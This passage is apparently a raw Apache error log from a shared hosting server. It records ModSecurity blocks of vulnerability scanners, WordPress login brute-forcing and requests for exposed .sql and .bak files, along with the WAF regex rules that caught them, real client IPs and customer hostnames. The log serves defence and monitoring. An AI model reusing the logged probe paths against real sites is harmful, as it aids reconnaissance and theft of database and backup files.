https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:09.082511 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.14:56874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:09.082854 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.14:56874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:09.118216 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.99:52324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:09.118485 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.99:52324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:09.329779 2026] [security2:error] [pid 648189:tid 648344] [remote 17.22.253.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zfVWSojQL4F7upKB2twABAnk"] [Sat Jun 13 18:19:09.506595 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.107:42285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:09.506883 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.107:42285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:09.554911 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:19:09.555200 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:19:09.593432 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.69:35188] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:09.593813 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.69:35188] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:09.835292 2026] [security2:error] [pid 648189:tid 648276] [remote 17.241.227.203:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 203.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zfVWSojQL4F7upKB2yQAAnzY"] [Sat Jun 13 18:19:09.883975 2026] [security2:error] [pid 648189:tid 648297] [remote 17.22.245.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zfVWSojQL4F7upKB2zAAA9ks"] [Sat Jun 13 18:19:10.087934 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:19:10.088220 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:19:10.219557 2026] [security2:error] [pid 648189:tid 648264] [remote 17.22.237.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zflWSojQL4F7upKB22gAA9yo"] [Sat Jun 13 18:19:10.637310 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:19:10.637594 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:19:10.648104 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.71:35122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:10.648372 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.71:35122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:10.715174 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.33:59515] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:10.715637 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.33:59515] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:10.754043 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.113:57634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:10.754317 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.113:57634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:10.823563 2026] [security2:error] [pid 646876:tid 646919] [remote 17.246.19.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zftyTkdrNlD40tSG41gAATSg"] [Sat Jun 13 18:19:10.884804 2026] [security2:error] [pid 648189:tid 648251] [remote 17.241.219.59:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 59.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zflWSojQL4F7upKB28gAAmh4"] [Sat Jun 13 18:19:10.941405 2026] [security2:error] [pid 648189:tid 648449] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/filter/tests/bug8315.phpt"] [unique_id "ai3zflWSojQL4F7upKB29gAAAOM"] [Sat Jun 13 18:19:11.064067 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:19:11.064495 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:19:11.147124 2026] [core:error] [pid 648189:tid 648360] [client 151.242.30.224:33810] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:19:11.147146 2026] [core:error] [pid 648189:tid 648360] [client 151.242.30.224:33810] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:19:11.299162 2026] [security2:error] [pid 648189:tid 648283] [remote 152.53.111.131:43492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "avecs.us"] [uri "/wp-login.php"] [unique_id "ai3zf1WSojQL4F7upKB3BwAAmz0"] [Sat Jun 13 18:19:11.519963 2026] [security2:error] [pid 648189:tid 648321] [remote 17.22.253.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zf1WSojQL4F7upKB3EAAAxWI"] [Sat Jun 13 18:19:11.571780 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9wb3dlcg== [Sat Jun 13 18:19:11.572057 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9wb3dlcg== [Sat Jun 13 18:19:11.592564 2026] [security2:error] [pid 646876:tid 646979] [remote 17.241.227.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zf9yTkdrNlD40tSG43wAAd2Q"] [Sat Jun 13 18:19:11.686258 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.112:51870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:11.686536 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.112:51870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:11.701682 2026] [security2:error] [pid 648189:tid 648452] [client 185.177.72.9:58298] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/module/info/include/mysql/phpcms_info.sql"] [unique_id "ai3zf1WSojQL4F7upKB3GQAAAOY"] [Sat Jun 13 18:19:11.778322 2026] [security2:error] [pid 646876:tid 646881] [remote 17.246.23.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zf9yTkdrNlD40tSG44wAAJAI"] [Sat Jun 13 18:19:11.839720 2026] [security2:error] [pid 648189:tid 648397] [client 185.177.72.9:58298] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/phpinfo.bak"] [unique_id "ai3zf1WSojQL4F7upKB3HAAAALE"] [Sat Jun 13 18:19:11.956784 2026] [security2:error] [pid 648189:tid 648287] [remote 152.53.111.131:43140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "weiserfestival.net"] [uri "/wp-login.php"] [unique_id "ai3zf1WSojQL4F7upKB3IQAAwEE"] [Sat Jun 13 18:19:11.965218 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.101:40116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:11.965684 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.101:40116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:12.011267 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.108:31109] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:12.011754 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.108:31109] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:12.120263 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:12.120524 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:12.225550 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.109:25422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:12.225826 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.109:25422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:12.262775 2026] [security2:error] [pid 648189:tid 648324] [remote 17.22.237.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zgFWSojQL4F7upKB3LQAA92U"] [Sat Jun 13 18:19:12.346075 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.40:60192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:12.346361 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.40:60192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:12.374489 2026] [security2:error] [pid 648189:tid 648268] [remote 152.53.111.131:43140] ModSecurity: Access denied 